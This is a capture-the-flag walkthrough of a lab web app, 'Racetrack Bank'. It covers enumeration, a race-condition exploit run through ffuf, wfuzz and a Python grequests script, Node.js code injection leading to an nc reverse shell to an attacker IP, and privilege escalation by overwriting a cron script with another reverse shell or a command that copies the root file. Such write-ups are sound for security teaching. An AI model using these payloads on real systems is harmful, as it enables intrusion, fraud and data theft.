BOOK THIS SPACE FOR AD
ARTICLE ADA new article and a new challenge. This time, we will attempt to infiltrate the other machine by using the system code infrastructure and vulnerabilities on the web. You will see that the programming language used must comply with security principles, otherwise it may cause vulnerabilities.
You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.
Prepare your keyboard for this battle, cyberpunks!
For the first stage, let’s write down what you need to do here, step by step.
First, save the values and IPs you will use most on the shell.Then register the target machine on local DNS using the /etc/hosts file.These processes increase your performance and speed. It prevents confusion.
Just ping to check.
You’re ready to move on to the next stage.
At this stage, we will enumerate the system in front of us, define the network and machine, and explore. First, let’s get to know the machine we are in front of and find out the open ports by using the nmap tool: nmap -sV -sC -oN nmap_result.txt -T4 -A --script=vuln -Pn -sS $target_ip
-sV: Version Detection
This option attempts to determine the version of the services running on open ports.-sC: Script Scan using Default Scripts
Runs a collection of Nmap scripts that are considered safe and useful for reconnaissance.-oN nmap_result.txt: Output in Normal Format
Saves the output of the scan in a file named nmap_result.txt in a readable format.-T4: Timing Template
Sets the timing template to 4, which is faster than the default (3) but may be more intrusive and detectable.-A: Aggressive Scan Options
Enables OS detection, version detection, script scanning, and traceroute.--script=vuln: Vulnerability Scripts
Runs a set of scripts to check for known vulnerabilities on the target.-Pn: Treat All Hosts as Online
Skips the host discovery phase and treats all specified hosts as online, which is useful if the target is blocking ping requests.-sS: Stealth Scan (SYN Scan)
Performs a TCP SYN scan, which is less likely to be detected by the target’s logging mechanisms compared to a full TCP connect scan.$target_ip: Target IP Address
This should be replaced with the actual IP address of the target you want to scan.You should be patient and wait for the output of this command.
As you can see, you have obtained open ports, version information and other advisory CVE notes. You should examine these thoroughly in a real scenario and take notes. You never know where the profit will come from.
22 SSH OpenSSH 7.6p180 HTTP Nginx 1.14.0We don’t have many open ports, but on the other hand, there are nice details.
The nmap scan results indicate that the http-csrf script has identified possible Cross-Site Request Forgery (CSRF) vulnerabilities on the target site.
http-csrf:
CSRF (Cross-Site Request Forgery) vulnerabilities are possible on the following paths:Path: http://ourtargetsite.thm:80/create.htmlForm id: unameForm action: /api/createPath: http://ourtargetsite.thm:80/login.htmlForm id: unameForm action: /api/loginhttp-enum:
This script attempts to enumerate directories and files on the web server./login.html: The script found a possible admin folder at /login.html.Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to trick a user into performing actions on a web application in which they are authenticated, without their consent. This can lead to unauthorized actions being carried out on behalf of the user, such as changing account settings, making purchases, or transferring funds.
Make a note of these. On the other hand, you can also scan for vulnerabilities via version information.
For the SSH port, you can try the approaches you find here. In this scenario, we will be goal-oriented and focus on other stages.
Now we can take a look at the applications and the site running over HTTP.
It has a structure where we can create an account and log in. Don’t hesitate to use the functions on the browser. You should always note details such as developer tools and other certification information.
There isn’t much detail. Now let’s take a look at the developer tools and examine the page source.
This way you can find development notes and other additional evidence in some scenarios.
We need to check if there is a Session ID or cookie defined for us.
Yes, we have.
connect.sid:s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4This may be necessary for our attack surface. Detail is here:
Now we can take a look at the “network” section. Pay attention to the header information here.
We have:
GET / HTTP/1.1Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1
The defined connection credential is used here.
Finally, let’s note the information given to us by the extension we installed on the browser.
Here we discovered that Node.js is used in the infrastructure. And Express framework is used.
Express is a web application framework for Node.js, released as free and open-source software under the MIT License. It is designed for building web applications and APIs.
Record all these findings one by one.
We need to find out what other pages there are. For this, we need to organize a directory reconnaissance attack. We will use gobuster tool for it: gobuster dir -w $wordlist_add_dir -u http://ourtargetsite.thm -e -d --random-agent -x txt,php,js,html,sh
This command can bring us endpoints, pages and other additional files within the site.
Here are the pages we have and the points we will check:
/home.html (Status: 302)
/Home.html (Status: 302)
/images (Status: 301)
/Images (Status: 301)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/purchase.html (Status: 302)
Especially the /purchase.html page caught our attention… We will analyze these in the next stage.
Let’s look at the login section.
A brute force can be tried here, but we must obtain information about the users, otherwise the process will take too long.
We can look at the account creation section, having an account at hand at all times allows you to learn the inner workings of the system. Just be sure to remain anonymous while doing this.
Let’s create an account.
Username: JohnDoePassword: JohnDoe
Of course, you can choose your own login credential.
We have an account. A message greets us as follows.
Welcome to Racetrack Bank! To get you started, we have given you 1 gold (how generous of us!). Spend it wisely.So, there is a structure where we can buy and send gold. Or something like that…
Examine the page source.
We discovered another page: /premiumfeatures.html
Browse around the site a little more.
We can purchase a premium account for 10000 gold. We can explore the function here.
Check out the page source here.
We may have discovered the API that was invoked while performing this operation: /api/buypremium
Take a look at the defined cookie information again.
The same value is defined again: connect.sid:s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
We can look at our other section.
There is a structure here that allows us to send gold to another user. Examine the page source.
We got another API: /api/givegold
Let’s move on to the next section where we will analyze the functions here in detail.
Let’s take a quick look at the/premiumfeatures.htmlpage we discovered.
We don’t have access here.
Now, let’s open an incognito tab on the browser, create another account and discover how to send gold.
Username: HelloWorldPassword: HelloWorld
We now have two separate accounts. Also save the cookie information defined in this account.
connect.sid:s%3AAuEqge0WLwEeSTNuRRusZ-7JZR-TokaZ.9pN0CQY%2BzjvHVNq0XFNBVOFPI4zRMrcbLp1RDfwIFrENow let’s send some gold here from our first account. While doing this, the “network” section on the browser can be open, so you can take a look at the working principle of the API.
The operation is successful.
There is no gold left in this account. Let’s check the other account.
Yes, we got 2 gold coins here.
We must examine these functional structures in detail through Burp.
Let’s try to send gold again, but this time let’s do this by intercept the traffic.
You’ve seen the input parameters.
POST /api/givegold HTTP/1.1Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://ourtargetsite.thm
Connection: close
Referer: http://ourtargetsite.thm/giving.html
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1
user=HelloWorld&amount=1
Keep forwarding.
Error message is returned within the URL. We receive an error message because there is no gold in the account.
/giving.html?error=You%20do%20not%20have%20enough%20goldCheck other pages in the same way.
The header scheme seems to be the same.
Let’s do the login process again and save the information.
We have:
POST /api/login HTTP/1.1Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://ourtargetsite.thm
Connection: close
Referer: http://ourtargetsite.thm/login.html
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1
username=JohnDoe&password=JohnDoe
Now let’s look at the Response Header information.
We have:
HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)
Date: Mon, 15 Jul 2024 09:41:28 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
Cache-Control: no-store
Content-Length: 3573
This is what got interesting. We can think about this a bit. What does this information mean?
HTTP/1.1 200 OK: This is the status line. It indicates that the request was successful, and the server is returning the requested resource.Server: nginx/1.14.0 (Ubuntu): This header provides information about the server software handling the request. In this case, it is nginx version 1.14.0 running on Ubuntu.Date: Mon, 15 Jul 2024 09:41:28 GMT: The date and time at which the response was generated by the server.Content-Type: text/html; charset=utf-8: Indicates the media type of the resource and the character encoding. Here, it’s HTML with UTF-8 encoding.Connection: close: This header indicates that the server will close the TCP connection after delivering the response.X-Powered-By: Express: Indicates that the backend framework used is Express, a web application framework for Node.js.Cache-Control: no-store: Instructs the browser not to store a cached copy of the response.Content-Length: 3573: The size of the response body in bytes.Although not visible in this response header, a common CSRF protection mechanism involves including a CSRF token in forms and verifying it server-side. As you can see, there is no such protection.
That’s not a lot of evidence, though.
We may need to take a look at the tips in our lab environment. For example organization name: RaceTrack Bank
When Express and Node.js are mentioned together, you may think of mechanisms that can respond to multiple requests at the same time. When you do a little more research, you may come across the following expression: Race Condition
A race condition occurs when the behavior of a software system depends on the relative timing of events such as the sequence of execution of multiple threads or processes. This timing-dependent nature can lead to unpredictable and erroneous outcomes if not properly managed. Race conditions are common in concurrent or parallel computing environments where multiple threads or processes access shared resources without proper synchronization.
Incrementing a Shared Counter:
Two threads attempt to increment a shared counter simultaneously. Without proper synchronization, both threads read the same initial value, increment it, and write it back, leading to an incorrect final value.File Access:
Two processes attempt to read and write to the same file. If one process reads the file while another is writing, the read process might get inconsistent or incomplete data.User Authentication:
In web applications, a race condition can occur if multiple authentication attempts are processed simultaneously, potentially leading to unauthorized access.In other words, a security weakness that may occur here may fail when processing multiple requests we send to the system and we can transfer the values we want to the other party. Let’s explain this with code for Python lovers:
# Pseudo-code exampleaccount_balance = 100
def withdraw(amount):
global account_balance
if account_balance >= amount:
account_balance -= amount
# Two threads executing the withdraw function concurrently
thread1 = Thread(target=withdraw, args=(50,))
thread2 = Thread(target=withdraw, args=(50,))
thread1.start()
thread2.start()
thread1.join()
thread2.join()
print(account_balance) # Expected: 0, but could be 50 due to race condition
Now let’s apply this theory to the system we target and see if it works. We can use the values we noted below when performing this attack.
Our API: api/givegoldMethod: POST
Content Type: Content-Type: application/x-www-form-urlencoded
Our Connection SID: connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY
Main Account Name: JohnDoe
Other Account Name: HelloWorld
There are many tools that can transmit multiple requests to the other party at the same time and weaken the structure. We will prefer to use the ffuf tool first. Don’t forget. We will transfer gold from HelloWorld user to JohnDoe.
But before using this tool, we need to create a wordlist with “1" number in each line. In this way, we will continuously send 1 gold from one account to another.
Now let’s create this wordlist. You can create it with any of the commands below.
seq 1 1000 | awk '{print 1}' > wordlist_exp_1.txtfor i in {1..1000}; do echo 1; done > wordlist_exp_2.txt
Now we can write the ffuf command: ffuf -c -u http://10.10.179.7/api/givegold -X POST -w wordlist_exp_1.txt -H “Content-Type: application/x-www-form-urlencoded” -b “connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY” -d “user=JohnDoe&amount=FUZZ” -v
It looks like it was sent. Let’s show another example of this. This time we will use the wfuzz tool: wfuzz -c -w wordlist_exp_1.txt -u http://10.10.179.7/api/givegold -H “Content-Type: application/x-www-form-urlencoded” -b “connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY” -d “user=JohnDoe&amount=FUZZ”
Check JohnDoe account:
Yes, the vulnerability is valid. We currently have 10 gold coins. Here you can try again by increasing the length of the wordlist. Remember, your goal is to make 10000 gold.
You can use these users and defined values interchangeably.
We have a problem here. It is very difficult to reach the 10000 gold we want without increasing the wordlist considerably. We may need to transmit several queries simultaneously via the Connection SID. You should use your coding abilities here.
import grequestsimport requests
from bs4 import BeautifulSoup
ip_address = "10.10.179.7"
user_main = "JohnDoe"
pass_main = "JohnDoe"
user_add = "HelloWorld"
pass_add = "HelloWorld"
def user_gold_and_cookie(username, password):
payload = {
'username': username,
'password': password
}
with requests.Session() as session:
response = session.post(f'http://{ip_address}/api/login', data=payload)
soup = BeautifulSoup(response.text, "html.parser")
gold_amount = 0
for tag in soup.find_all('a'):
if "Gold:" in tag.text:
gold_amount = int(tag.text.split(":", 1)[1].strip())
print(f"Current Gold Amount for User {username}: {gold_amount}")
cookie_dict = session.cookies.get_dict()
return cookie_dict['connect.sid'], gold_amount
def send_gold(user, cookie, amount):
print(f"Sending {amount} gold to user {user}")
url = f'http://{ip_address}/api/givegold'
headers = {
"Host": ip_address,
"Referer": f'http://{ip_address}/giving.html',
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Cookie": f"connect.sid={cookie}",
"Upgrade-Insecure-Requests": "1"
}
cookies = {
"connect.sid": cookie
}
data = f"user={user}&amount={amount}"
rs = (grequests.post(url, data=data, cookies=cookies, headers=headers) for _ in range(100))
responses = grequests.map(rs)
print(f"{amount} gold has been sent to user {user}!")
def main():
gold_needed = 0
counter = 1
while gold_needed < 10000:
if counter % 2 == 0:
print(f"{user_main}'s turn to send gold...")
cookie, gold_needed = user_gold_and_cookie(user_main, pass_main)
send_gold(user_add, cookie, gold_needed)
else:
print(f"{user_add}'s turn to send gold...")
cookie, gold_needed = user_gold_and_cookie(user_add, pass_add)
send_gold(user_main, cookie, gold_needed)
counter += 1
if __name__ == "__main__":
main()
This script is designed to automate the process of logging into a web application, retrieving the amount of gold a user has, and sending that gold to another user in a repetitive manner.
Run it.
Let’s check the account.
We are rich now…
Now let’s go and get the premium account.
Another tab opened. Let’s take a look here.
We have a calculator in front of us…
We have an input panel again. Let’s examine the page.
The structure is NodeJS, we can send some queries towards it. You can use this source if you need: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nodejs-express
Let’s call a simple function.
Try:
process.cwd()Wow! We got that.
You can try these through Burp rather than through the browser.
Now let’s try to get a reverse connection. We can try to send the following command to the other server using NodeJS.
require("child_process").exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11444 >/tmp/f')Before sending this, put your machine in listening mode on the port you specified: nc -nlvp 11444
Let’s send it.
We got the connection! Perfect!
Stabilize the shell if you need: python -c ‘import pty; pty.spawn(“/bin/sh”)’
Always explore the system in front of you.
We received potential account names.
Nothing…
Let’s move on to the privilege escalation process and see how we can do it. Let’s take a look at Crontab.
Crontab is a command-line utility in Unix-like operating systems (such as Linux) that allows users to schedule tasks (commands or scripts) to run periodically at fixed times, dates, or intervals. These scheduled tasks are known as cron jobs. The term “crontab” itself stands for “cron table,” where “cron” refers to the daemon that executes scheduled commands.
We need to look around a little more.
We found an interesting script in the directory: cleanupscript.sh
Let’s examine this.
There is a code that deletes a defined file.
So what is the authority of this file?
Maybe we can do a few experiments on this.
Before moving on, let’s look at the permissions of the root user: find / -perm -4000 -user root -type f 2> /dev/null
We found that for our user: /home/brian/admin/manageaccounts
An executable structure…
Let’s go back to the main mechanism and try to manipulate the cleanupscript.sh file and get another shell. We will replace the contents of this file with the following code.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11234 >/tmp/fBefore doing this, put your machine into listening mode on the port you specified: nc -nlvp 11234
Change file content.
Or just echo it:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11234 >/tmp/f' > cleanupscript.shPermission denied…
Okay, just remove it and create again.
Then grant an executable permission with chmod and run it.
We got that!
Let’s show another method. You can directly access the file you want by changing the file content.
Use it:
echo 'cat /root/root.txt > /home/brian/root_flag.txt' > cleanupscript.shDon’t give up on hacking.
Code for good.
^-^